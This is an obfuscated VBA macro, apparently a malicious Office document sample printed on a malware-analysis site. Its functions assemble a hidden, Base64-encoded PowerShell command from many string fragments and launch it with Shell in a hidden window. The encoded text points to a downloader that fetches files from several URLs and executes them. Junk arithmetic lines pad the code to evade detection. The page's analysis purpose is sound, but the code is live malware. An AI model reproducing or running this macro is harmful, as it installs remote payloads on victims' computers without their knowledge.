On Error Resume Next
puzEQk = wzJVi - Cos(qCkbfO) * 1 - Chr(40596) / 53801 - ChrB(RERwfd)
oKLAV = 30243
XYKGH = UvOOGR - Cos(JEXSoD) * 1 - Chr(13889) / 55611 - ChrB(mUFtuI)
KhbazN = 5512
kZIrcrZiz = Shell(bFqQBzIGwC + Chr(vbKeyP) + jTOXNP + EIoMGp, vbHide)
HNBNW = DqOmuk - Cos(sMRIci) * 1 - Chr(72015) / 81525 - ChrB(NfLwE)
iqtwBD = 20908
End Function


Attribute VB_Name = "BtGDjiqGzYM"
Function kwMZBuC()
On Error Resume Next
wrcPok = DCERqK - Cos(brVBUz) * 1 - Chr(71813) / 78175 - ChrB(GtTRXP)
NNcZO = 54015
iirsI = "owersHeLL -Wi" + "nDowsTyle hidde" + "n -e KAAo" + "ACIAewAxADMAOQB" + "9AHsANgB9AHsAOQ" + "AxAH0AewA3ADQ" + "AfQB7ADEAMQA"
XqbmD = AzkIlG - Cos(zzszvK) * 1 - Chr(88203) / 40761 - ChrB(USVot)
EOkTzq = 97241
CTDUX = "wAH0AewAyADkAf" + "QB7ADgAMwB" + "9AHsAMg" + "A2AH0AewA" + "4AH0AewA5ADA"
sLhoz = JKfQd - Cos(NVcdE) * 1 - Chr(65811) / 60785 - ChrB(WIQPG)
uWXSH = 92438
PjiBpTndO = "AfQB7AD" + "EAMQAxAH0AewAxA" + "H0AewA5ADMAf" + "QB7ADEAMAA5A" + "H0AewAxADQAM"
pzoNVw = MJmEL - Cos(dilHPR) * 1 - Chr(20661) / 95134 - ChrB(kuSioM)
nNJjMX = 42850
PaDGQOL = "wB9AH" + "sAOAAwAH0A" + "ewA2ADMAfQ" + "B7ADgAM" + "QB9AHsAOAA2AH" + "0AewAxADIA" + "MAB9AHsAO" + "QA2AH0AewA" + "4ADcAfQB7ADI" + "ANAB9AHsAMQ"
PilSoM = MEYfM - Cos(QCplBB) * 1 - Chr(28130) / 88996 - ChrB(nIAZWZ)
iUGMzr = 63393
mAcjiCjdpNS = "AzADcAfQ" + "B7ADkAN" + "QB9AHsAMQAxADY" + "AfQB7ADYAMQB" + "9AHsAMQAyADUA" + "fQB7ADE" + "AMwAzAH0AewAxAD" + "AAMwB9AHsANA"
sJbPiO = IACWK - Cos(vLVHt) * 1 - Chr(39623) / 90698 - ChrB(ROpwRa)
YznZV = 20327
sGNLuO = "A1AH0Ae" + "wA2ADkAfQB7ADQ" + "AfQB7ADEA" + "MwB9A" + "HsAMgA3A"
sazMhd = zXAOai - Cos(kEDWl) * 1 - Chr(3027) / 51634 - ChrB(mSQnFj)
OzoJC = 36939
fpcPzDIA = "H0AewAx" + "ADIAMgB9AHsANAA" + "yAH0A" + "ewA3AD" + "UAfQB7" + "ADEAMwA1AH0" + "AewA0ADcAfQB7A"
IhnRiS = phqruo - Cos(kCkIRz) * 1 - Chr(76683) / 62999 - ChrB(tYPwJD)
Rfqpw = 42093
tiYGpkw = "DEAMgA4AH0Aew" + "A1ADMAfQB7ADYAN" + "wB9AHsAMQA0ADAA" + "fQB7ADEAMQA5A"
UWIEzl = wKvGi - Cos(EAkWHb) * 1 - Chr(72417) / 89269 - ChrB(PThlHY)
EwzOT = 29934
CDnuOJAz = "H0AewA2ADIAfQB" + "7ADUANQB9AHs" + "AMQAzA" + "DQAfQB" + "7ADMAMAB9AHsAMw" + "AzAH0AewA" + "5ADkAfQB7ADEAMA" + "A2AH0AewA"
kwMZBuC = iirsI + CTDUX + PjiBpTndO + PaDGQOL + mAcjiCjdpNS + sGNLuO + fpcPzDIA + tiYGpkw + CDnuOJAz
End Function
Function IUXizuBmja()
On Error Resume Next
JsqvWz = TriJU - Cos(uThVk) * 1 - Chr(78133) / 53163 - ChrB(pXLdA)
FwIQap = 27018
WPJiHWJRsKt = "xADIANAB" + "9AHsAMQ" + "AwADQAfQB" + "7ADEAMgA3AH0" + "AewA5ADIAfQ"
dQfPzi = cCcmHR - Cos(Rcdfni) * 1 - Chr(38405) / 39757 - ChrB(SVNHWi)
ifDSp = 32449
VjtHBPEwWE = "B7ADUANwB9" + "AHsAMgA1AH0" + "AewAzADgAf" + "QB7ADEAN" + "AB9AHsAM" + "gA4AH0Aew" + "AxADkAfQB7ADE"
UrwLNU = qtSVfj - Cos(vBjHJm) * 1 - Chr(26511) / 88605 - ChrB(XZtotH)
wuAmJ = 76673
wNKXRkFQiE = "ANQB9AH" + "sAMgB9AHsAMQAwA" + "DEAfQB7" + "ADkANwB9" + "AHsAMQAz" + "ADEAfQB7ADEAM" + "wA4AH0Aew"
TGzvbb = mqBbni - Cos(Ljiba) * 1 - Chr(14165) / 49309 - ChrB(TfpjqT)
fudHKP = 1800
cqcNkUIMR = "AxADMANg" + "B9AHsAMQAxAH0Ae" + "wA1AH0AewA3AD" + "EAfQB7ADEAMQA0" + "AH0AewAxA" + "DAANQB9" + "AHsAM"
qmSok = rNGdjn - Cos(VKijR) * 1 - Chr(66459) / 75494 - ChrB(GslbM)
HwjUE = 19417
LCtatFGv = "QA0ADEAfQB7ADQ" + "AOQB9A" + "HsAMg" + "AyAH0AewA0ADg" + "AfQB7ADkAfQB7" + "ADUAMQB9AHsAMw" + "A1AH0AewA3ADkA" + "fQB7ADUAMgB9AHs" + "ANQAwAH0AewAx" + "ADYAf"
opISp = cSjGG - Cos(MKjuas) * 1 - Chr(63179) / 26305 - ChrB(jtjMXY)
OZIidq = 63231
hnbrj = "QB7ADUANgB9AH" + "sAMQAxAD" + "gAfQB7ADk" + "ANAB9AHsANg" + "A4AH0AewAx" + "ADAAf" + "QB7ADEAMwA" + "yAH0AewAzA"
aNcjL = XmiwA - Cos(XDFbY) * 1 - Chr(93111) / 65002 - ChrB(vbGRd)
DJzcBV = 56857
SOXnOUITH = "DIAfQB7ADE" + "AMQA1AH" + "0AewA0ADMA" + "fQB7ADQAMQB9AHs" + "ANgA0AH0A" + "ewAzADYAfQB7A" + "DIAMAB9AHsANwB"
UMQAC = MHBQXY - Cos(LUhGh) * 1 - Chr(17561) / 54414 - ChrB(wHKDT)
NoCufW = 16952
NiwFiLqlw = "9AHsANw" + "AyAH0AewAzADEAf" + "QB7ADEAMAA4A" + "H0AewA1ADk"
IUXizuBmja = WPJiHWJRsKt + VjtHBPEwWE + wNKXRkFQiE + cqcNkUIMR + LCtatFGv + hnbrj + SOXnOUITH + NiwFiLqlw
End Function
Function wvQmuaJ()
On Error Resume Next
sLXttr = apuFfs - Cos(QWUMBp) * 1 - Chr(43316) / 9990 - ChrB(wjqwS)
VsBDdb = 41811
UNKoPfFk = "AfQB7ADEAN" + "AAyAH0Aew" + "A4ADk" + "AfQB7ADMA" + "NAB9AHsAMQ" + "A3AH0AewA0AD" + "QAfQB7ADEA"
nPkkYS = wnFYY - Cos(ZSVSMn) * 1 - Chr(11146) / 51857 - ChrB(CsVbU)
DcPNu = 77284
GiqDpWJUhE = "MgA5AH0Ae" + "wA5ADgAfQB7" + "ADEAMAAwAH0" + "AewA3ADAAf" + "QB7ADUANAB9AHs" + "ANAAwAH0" + "AewAxA" + "DIAMwB" + "9AHsAMQAxAD"
wQFwnp = wlatTv - Cos(jkRoP) * 1 - Chr(13956) / 55702 - ChrB(rPzzP)
KqLirs = 43179
bWcZiKi = "MAfQB" + "7ADgANQB" + "9AHsAMgAxAH0Ae" + "wA4ADIAfQB7AD" + "EAMQA3AH0AewAx" + "ADIAfQB" + "7ADIAMwB" + "9AHsAOAA0AH0Ae"
NNAQc = QSbHY - Cos(XswYij) * 1 - Chr(8314) / 68127 - ChrB(pBpaD)
vOPbDD = 53111
sQnRS = "wA2AD" + "AAfQB7ADcAO" + "AB9AHsAMQAyADYA" + "fQB7ADgAOAB9" + "AHsANgA1" + "AH0AewAxADgAfQB" + "7ADMAfQB7A"
DoziP = YopZnX - Cos(smAKo) * 1 - Chr(75051) / 59811 - ChrB(MKqYb)
DLjVY = 91544
LVFol = "DEAMQAyAH0AewA3" + "ADMAfQB" + "7ADEAMwAwA" + "H0AewAx" + "ADAANwB9AHsA" + "MwA5AH0AewAw" + "AH0AewA1ADgAfQ" + "B7ADcANwB9AHsA"
ukfBp = ABMPnj - Cos(DcPQO) * 1 - Chr(30942) / 93299 - ChrB(rdIGna)
cIEOc = 94055
mSIFWnQuMt = "NAA2AH0AewAxADI" + "AMQB9" + "AHsANgA2AH0A" + "ewA3ADYAfQB7ADE" + "AMAAyAH0AewAzAD" + "cAfQAiACAALQBmA" + "CcAMQAnA" + "CwAJwBq" + "AGUAJwAsACcAb" + "gAuAGMA"
BUIzzi = zvDsH - Cos(bwQGI) * 1 - Chr(98244) / 43692 - ChrB(HWvBM)
ZDLYEW = 11178
cURSY = "bwBtAC8" + "AbwB5ADQAJwAsA" + "CcASAAnACwAJwB" + "vAHYAb"
wvQmuaJ = UNKoPfFk + GiqDpWJUhE + bWcZiKi + sQnRS + LVFol + mSIFWnQuMt + cURSY
End Function
Function nBFqnwDUcKn()
On Error Resume Next
uHPQSb = hEOfIt - Cos(swFcau) * 1 - Chr(89672) / 96463 - ChrB(znwzv)
iokMBB = 17211
XMRijEAtEZd = "gBuAHMAYQBkACcA" + "LAAnAGwAJwA" + "sACcAbgB" + "uAHMA" + "YQBkAGE" + "AcwBkACAA" + "PQAgACYAKAAnACw" + "AJwApACcALAA"
sjuLZR = WDmtLM - Cos(bwLfw) * 1 - Chr(88410) / 35825 - ChrB(UivzaZ)
wsdjHM = 92528
BoVNzDjhc = "nAEoASAAnACwAJ" + "wBuACc" + "ALAAnAGkAYwA" + "gACcA"
iVjfaj = DjXLN - Cos(AVFOYP) * 1 - Chr(24629) / 31399 - ChrB(crHcG)
PcFGfR = 55496
TnjZIWz = "LAAnAC8AaAB" + "lAGEAJwAsACc" + "AKAApACwAIAAn" + "ACwAJwBhAHMAZAA" + "uAG4AZQB4A" + "HQAKAAxADAAMAA"
QNstI = LZOMGv - Cos(YUjzj) * 1 - Chr(28952) / 36026 - ChrB(oYwcQn)
SEiWX = 20412
zkpsmI = "wADAAL" + "AAnACwAJw" + "AvAEAAJwAsACcA" + "cwBpAGcAJwAsA"
AfWEpD = cuVKX - Cos(IVJvCK) * 1 - Chr(33834) / 52708 - ChrB(tQsmEH)
ijYMi = 36835
sFlbWR = "CcARAAn" + "ACwAJwB" + "uACAAbwB2" + "AG4AJwAsACcASg"
bfZOq = dcRsw - Cos(wvmUNt) * 1 - Chr(26962) / 21857 - ChrB(FLCzuS)
mmLIp = 35244
MqkzZRlMJ = "AnACwAJwAvAGk" + "AbQBnAGY" + "AeABkAG" + "UAJwAsACc" + "ASAAn" + "ACwAJw" + "AwACcALAAnAC"
QcvaPM = wzqGL - Cos(sPKTU) * 1 - Chr(14985) / 33443 - ChrB(TWPwt)
qfjnI = 57546
Gsiso = "8ATABzADgAYwA" + "vAEAAaAB" + "0AHQAcAA6AC8AJ" + "wAsACcAbwB2AG4" + "AUwBEAEMAKQA" + "nACwAJwBvA" + "CcALAAnAGM" + "AJwAsACcAKwAxAC"
VrSSw = UHMLsj - Cos(YXcso) * 1 - Chr(64863) / 1807 - ChrB(zGfiW)
bTSDzh = 4208
RbhLJ = "cALAAnA" + "CAAJwA" + "sACcAaAB0A" + "HQAcAA6A" + "C8AJwAsACcAZQA" + "xAEoAJwAs" + "ACcATwAvAEA" + "AJwAsACcA" + "cgAnACwAJwBsA"
nBFqnwDUcKn = XMRijEAtEZd + BoVNzDjhc + TnjZIWz + zkpsmI + sFlbWR + MqkzZRlMJ + Gsiso + RbhLJ
End Function
Function MhMNHln()
On Error Resume Next
XsBWI = NHLWMq - Cos(SCowbc) * 1 - Chr(99703) / 47828 - ChrB(mnczto)
HvBBCz = 69402
CKXGazUz = "FkAMQBKAEgAIA" + "AnACwAJwB" + "oAHQAdAAnACw" + "AJwBmAGMA" + "IABpACc" + "ALAAnA" + "EoASAAuAF" + "MAJwAs" + "ACcAMQBKAEg" + "AZQAxAEo"
RZEzqu = RjKIQ - Cos(FWECzl) * 1 - Chr(10762) / 25823 - ChrB(ICZNDb)
omSSw = 63250
Hiijzi = "AJwAsACcAfQ" + "B9ACcALAAnA" + "GwAaQBlAG4" + "AdAAvAEYAW"
YAiqd = wplXP - Cos(YzwEO) * 1 - Chr(58646) / 57786 - ChrB(QBZcr)
GrYpzh = 46500
ZnJEEz = "QAwAFI" + "ATgB5AGUAJw" + "AsACcAbQ" + "AnACwAJwBpAGw" + "AZQAnACwA"
jBOvb = zTRBzA - Cos(OqhEo) * 1 - Chr(36426) / 17229 - ChrB(WaGwzP)
Rvaii = 8012
UnzPVmaAw = "JwBIAC4AZQB4ACc" + "ALAAn" + "ADgAJwAsACcAQ" + "gAgACsAI" + "AAoADEASgAnA" + "CwAJwBBAEQ" + "AQwBYACkAew" + "B0AHIAeQB7A" + "CcALAAnADsAJ" + "wAsACcAbgAnACwA"
wqSCm = zkXird - Cos(BqlJOP) * 1 - Chr(66884) / 18252 - ChrB(IwicsB)
bPVzw = 86784
LGizZi = "JwBBAEQAJw" + "AsACcALwBi" + "AGEAawB" + "pACcALAAnAG0AJw" + "AsACcAdgB" + "uAFMAJwAsAC" + "cAbwAuAGMAb" + "wBtAC8ATQ" + "BVAFAAdA"
mljiol = bHTXD - Cos(KRUPVH) * 1 - Chr(41952) / 65730 - ChrB(XKhvO)
PVivIz = 98209
JFHFwOATCa = "ByAC8AMQAn" + "ACwAJw" + "BKAEgAKQA" + "7AG8AJwAsACcA" + "WAAgA" + "D0AJwAs" + "ACcAYwAnACwAJw" + "BjAG8AbQ"
MhMNHln = CKXGazUz + Hiijzi + ZnJEEz + UnzPVmaAw + LGizZi + JFHFwOATCa
End Function
Function vTizN()
On Error Resume Next
hjuXY = oLEpaL - Cos(vGdpX) * 1 - Chr(17096) / 30619 - ChrB(VBtXG)
mpbvb = 21783
wfWJw = "AvAGsAMwBhAE" + "oAJwAsACcAQw" + "AgAD0AIAB" + "vAHYAbgAnACw" + "AJwAvAGEAcw"
mibkzB = MFsUDl - Cos(OAGkq) * 1 - Chr(67597) / 19002 - ChrB(iBARU)
VdtzA = 32852
FiVRztKir = "BwAG4AZQB0A" + "F8AJwA" + "sACcASgBIA" + "CkAJwAsACcAaA" + "AnACw"
XCFZH = AQJYTU - Cos(XoVLkc) * 1 - Chr(68462) / 50708 - ChrB(Zjfji)
cwUDUK = 82988
ahvQZQrX = "AJwAo" + "ACcAL" + "AAnAFMAeQBzAHQ" + "AZQBtAC4AJwA" + "sACcAbABvAH"
BKiAIv = cjzci - Cos(IiOXhi) * 1 - Chr(37301) / 55337 - ChrB(ubDKo)
DQAhj = 83217
RiVndizJk = "UAZABjAGEAcAB" + "nAGEAb" + "QBlAHM" + "ALgAnACwAJwBv" + "AG0AOwBvA" + "HYAbgBZAFkAV" + "QAgACc" + "ALAAnADEASgBIA"
ACbaf = zCiDAJ - Cos(QGfnb) * 1 - Chr(45693) / 40173 - ChrB(QHwwGL)
Qzuwp = 77476
XFlwaX = "CsAJwAsACc" + "AMQAnA" + "CwAJw" + "BEAEMAKQ" + "A7AGIAJw" + "AsACcAIAAx" + "AEoASAAN" + "AAoAaAB0ACcAL"
MwGDkf = LXDAU - Cos(zkMGIW) * 1 - Chr(77088) / 68669 - ChrB(ibYXZm)
JCUfiu = 67763
qYfRkGjfW = "AAnAHA" + "AdQBiAGwAJwAs" + "ACcAbw" + "B2AG4ATgBTAEIAI" + "AA9ACAAJwAsACc" + "ASQAwAC"
XnpNEj = wmRafk - Cos(pTAwRR) * 1 - Chr(59549) / 61105 - ChrB(FjaOB)
pKDBji = 41761
wEicGhz = "cALAAnA" + "HQAaAB5ACcALAAn" + "ADsAZgBvACcALAA" + "nAGUA" + "JwAsACcAS"
afKldl = wGAUM - Cos(fkcRB) * 1 - Chr(84339) / 50013 - ChrB(jdVrSz)
XiEFT = 74433
pETYLoSRzS = "gBIAG4AMQBKA" + "EgAJwAsACcA" + "MgAxADMAMw" + "ApACcALAA" + "nAHIAZQBh" + "AGsAJwAsACcAKA" + "BvAHYAJwAs" + "ACcAMQBKAEg" + "ASQBuAHYAJw" + "AsACcAcABsAGkAd"
TGjBt = HZato - Cos(JZajiq) * 1 - Chr(91748) / 93189 - ChrB(BptKow)
cwPtOF = 34150
KpWtcOdO = "AAoADEASg" + "BIAEAAMQAn" + "ACwAJwAxAEoA" + "SAB0ADEASgB" + "IACkAIAByAGEAb" + "gBkACcALAAnAD0A"
vTizN = wfWJw + FiVRztKir + ahvQZQrX + RiVndizJk + XFlwaX + qYfRkGjfW + wEicGhz + pETYLoSRzS + KpWtcOdO
End Function
Function YubADWTq()
On Error Resume Next
lzwSd = DbDnn - Cos(wuZOXq) * 1 - Chr(60555) / 34296 - ChrB(mrEIf)
divQDH = 9751
jbwMv = "IAAnACwAJwB" + "jAGkATgBnA" + "CcALAAn" + "AEgAJwAsACcAOw" + "AmACcALAAnAHIAM" + "ABjAGkAaQ" + "AnACwAJ"
fscTmz = qWBRi - Cos(XAVYaz) * 1 - Chr(9684) / 98609 - ChrB(tKzJa)
HXjZrw = 87982
IfDzi = "wAuACgAMQBKAEgA" + "bgBlADE" + "ASgBIACsAMQBK" + "AEgAJwAsACcA" + "KwAxAEoASAAt" + "ACcALAAnACs" + "AMQBKAEgAawAnAC" + "wAJwB2" + "AG4AYQBzACcALA" + "AnAHcALQ"
vWsUC = UDqAQF - Cos(asdHAw) * 1 - Chr(44346) / 99457 - ChrB(WdWRi)
Srnldi = 49909
oXfXXPfYz = "BvACcAL" + "AAnADEAJwA" + "sACcARg" + "BpAHIAZQAuAGMAb" + "wBtACcALAAnAG" + "MAMQBKACcALA" + "AnADoAJwA"
hfCDn = UwtUTh - Cos(FRrzWW) * 1 - Chr(56166) / 1082 - ChrB(zlNVk)
NibwAr = 91783
zJCnRUaOYjh = "sACcAZQBjAHQA" + "MQAnACwAJwAxAEo" + "ASAAnACwAJwB" + "HAFAAJwAsACcA" + "YQBkACcALAAn"
zvjJza = CzBUNa - Cos(nHIwAS) * 1 - Chr(65588) / 33163 - ChrB(RFViOt)
jnJpt = 4229
QtqdWf = "AHAAJwAs" + "ACcARgAnAC" + "wAJwByAC" + "cALAA" + "nADsAfQB" + "jAGEAdABjAGg"
Mfafvn = AXYRr - Cos(qDqdu) * 1 - Chr(62094) / 11474 - ChrB(DcrVJ)
VhDlCl = 38815
swLhT = "AewAnACwA" + "JwBXAGUAYgBD" + "AGwAaQB" + "lAG4AdAAnA" + "CwAJwBh" + "ACcALAAn" + "AGUAdgBlAGw" + "AJwAsAC"
YubADWTq = jbwMv + IfDzi + oXfXXPfYz + zJCnRUaOYjh + QtqdWf + swLhT
End Function
Function ZOlKRIzcQfJ()
On Error Resume Next
Ranmdd = izRXY - Cos(cwjuNw) * 1 - Chr(40802) / 16207 - ChrB(jJmJq)
UmOGA = 87693
pNHOzm = "cAOgAvAC8ARg" + "BsAG8A" + "cgBpAHMAJwAsAC" + "cAZQA" + "nACwAJwBlAGE" + "AYwAnACwAJwBI" + "ACcALAAnAC"
QpHCcA = fZwkz - Cos(kWqpow) * 1 - Chr(76911) / 27594 - ChrB(iAUnzN)
CQYkq = 61654
FMNIKrGnGS = "sAMQBK" + "AEgAJwAsA" + "CcAYg" + "AnACwAJwArA" + "DEASg" + "BIACcALAAnAHQ" + "AJwAsACcAcgAnA" + "CwAJwArACAAbwB"
nLUUmX = KBKzi - Cos(wZRBFY) * 1 - Chr(49516) / 21692 - ChrB(ioDHU)
hMOCE = 59409
HwARQawNhLY = "2AG4A" + "TgBTA" + "CcALAAnAEoASA" + "ApACAAJwA" + "sACcARA" + "BOAFUAJwAsACcA" + "ZQBuAHY" + "AJwAsACcA" + "cAA6AC8ALwBj" + "ACcALAAn"
dUiBq = TwJpOP - Cos(dzWfS) * 1 - Chr(12144) / 61696 - ChrB(cfQiDn)
pwviTs = 91886
DTUJsvzEE = "AHcAJwA" + "sACcAUwAnACw" + "AJwAyAC" + "cALAAn" + "AEQATgBVACgA" + "bwB2AG4A" + "YQBzAGYAYwAuAEQ" + "ATgBVAFQA" + "bwBTACcALAA" + "nAHMA"
WEhsrI = wpsGt - Cos(pjkwwX) * 1 - Chr(1783) / 78751 - ChrB(WntqJ)
ukwVh = 4894
YZVqGNp = "JwAsACc" + "ATgAnACwAJwBvAD" + "EASgBIACcALAAn" + "AG4AdAAnACwAJwB" + "DACcA" + "LAAnAG8" + "AdgBuAF" + "kAWQB" + "VAC4ARA" + "BOAFUARAB"
akNoY = hbmzt - Cos(zNKfUV) * 1 - Chr(90109) / 14953 - ChrB(huwBw)
DEvkL = 61721
OiWGUZ = "vADAAYwB" + "pAFcAbgBsADAAY" + "wBpAE8AJwAs" + "ACcALQBJAHQAJ" + "wAsACcA" + "dwAnACwAJw" + "ArACAAMQB" + "KAEgAUQAnACwAJ" + "wBlAHQAL" + "gAnACwAJ"
IAkKzw = mjpAw - Cos(zkEcA) * 1 - Chr(74357) / 89941 - ChrB(tpOmZs)
XrMiOK = 10257
OHICTmIFWw = "wAzACcALA" + "AnADsAbwB2AG4" + "AJwAsA" + "CcAOgAvACcALA" + "AnAGIAagA" + "nACwA" + "JwAvAEAA"
vJVwz = wEwFo - Cos(TATjZ) * 1 - Chr(71779) / 96784 - ChrB(KVXZE)
PscRhz = 88998
azBZr = "aAB0A" + "HQAcAAnACwAJw" + "BvAHYAJwAsACc" + "AdAAnACwAJwB"
JSiou = vkQhk - Cos(JWYdIc) * 1 - Chr(22992) / 81545 - ChrB(ZlwuVH)
bjXpR = 88657
DIduEl = "hAHQAaQBvAG" + "4AcwAuA" + "GMAbwAnACwAJw" + "AoAG8AJwAsAC" + "cAKwA" + "nACkAKQ" + "AuAFIAZQBQAGwA" + "YQBDAEUAK" + "AAoAF"
AEkqdT = FqoXV - Cos(UzJFnD) * 1 - Chr(50130) / 69885 - ChrB(iuZMpJ)
JvOPjX = 48182
XjDFcLQW = "sAYwBIAGEAcg" + "BdADYA" + "OAArAF" + "sAYwBIA" + "GEAcgBdADcAOAAr" + "AFsAYwBIA" + "GEAcgB" + "dADgANQAp" + "ACwAWwBzAFQAUgB"
ZOlKRIzcQfJ = pNHOzm + FMNIKrGnGS + HwARQawNhLY + DTUJsvzEE + YZVqGNp + OiWGUZ + OHICTmIFWw + azBZr + DIduEl + XjDFcLQW
End Function
Function DzITv()
On Error Resume Next
miWZT = HWzPlc - Cos(SBNUG) * 1 - Chr(38390) / 41848 - ChrB(QRiQWj)
IGMwak = 35890
YFvhhw = "JAG4AZw" + "BdAFsAYwBIAGEA" + "cgBdA" + "DMANA" + "ApAC4AU" + "gBlAFAAbABh"
hARlb = ZzDjL - Cos(tAvZDD) * 1 - Chr(65502) / 41391 - ChrB(sJwON)
tDoCn = 99404
fIOAVTvaWpA = "AEMARQAoA" + "CcAUQBsAFkAJwA" + "sAFsA" + "cwBUAFIASQ" + "BuAGcAXQBbAGMAS" + "ABhAHIAXQA5ADI" + "AKQAuA" + "FIAZQBQA"
jTpiuS = TakLpz - Cos(LmtXC) * 1 - Chr(94498) / 77808 - ChrB(qUWNKj)
OiYrzU = 52327
CpnHBkNbiw = "GwAYQBDAEU" + "AKAAoAFsAYwBI" + "AGEAcgBdADQA" + "OQArAFsAYwB" + "IAGEAcgBdADcA" + "NAArAF" + "sAYwBI" + "AGEAcgBd" + "ADcAMgApACw" + "AWwBzAFQAU"
VIPizR = lZNFi - Cos(vfkCH) * 1 - Chr(83560) / 55866 - ChrB(LjIKZ)
FmzCn = 69057
fqwHaRNlN = "gBJAG4AZ" + "wBdAFsAYwBI" + "AGEAcgB" + "dADMAOQApAC4" + "AUgBlAFAAbABhA" + "EMARQAoACcAbw" + "B2AG4" + "AJwAsAFsAcwBUAF"
DzITv = YFvhhw + fIOAVTvaWpA + CpnHBkNbiw + fqwHaRNlN
End Function
Function DcoYUfaIKm()
On Error Resume Next
XOmSr = RizzE - Cos(cSznpp) * 1 - Chr(55277) / 96461 - ChrB(JcHTX)
TwcLR = 97157
odZkDiSWGnQ = "IASQBuAGcAXQBbA" + "GMASAB" + "hAHIAXQAzA" + "DYAKQAuAFIAZQBQ" + "AGwAYQBDAEU" + "AKAAoAFsAYw" + "BIAGE" + "AcgBdA" + "DQAOAAr" + "AFsAYwB"
YRzjQ = LlNjD - Cos(wsGwH) * 1 - Chr(25798) / 21382 - ChrB(mOlfzT)
wkVom = 98667
ZfZzpCjfN = "IAGEAc" + "gBdADkAO" + "QArAFsAYw" + "BIAGEAc" + "gBdADEAMAA1" + "ACkALABbAHMAVA" + "BSAEkAbgBnA" + "F0AWwBjAEg"
uiqFY = mdvvD - Cos(aMMAU) * 1 - Chr(95715) / 12752 - ChrB(dJfRk)
BMBssQ = 26293
DoTcMmzESzr = "AYQByAF0" + "AOQA2ACkAfAAg" + "AC4AIAAo" + "ACAAJABw" + "AHMASABvAG0AZQ"
zYICoC = ISqbss - Cos(mkAqj) * 1 - Chr(74106) / 69821 - ChrB(CYUbGa)
CDntrP = 76645
UjVAIkHri = "BbADQAXQArACQA" + "UABzAGgA" + "bwBNAEUAWwA" + "zADAAXQArACcA" + "eAAnACkA"
DcoYUfaIKm = odZkDiSWGnQ + ZfZzpCjfN + DoTcMmzESzr + UjVAIkHri
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.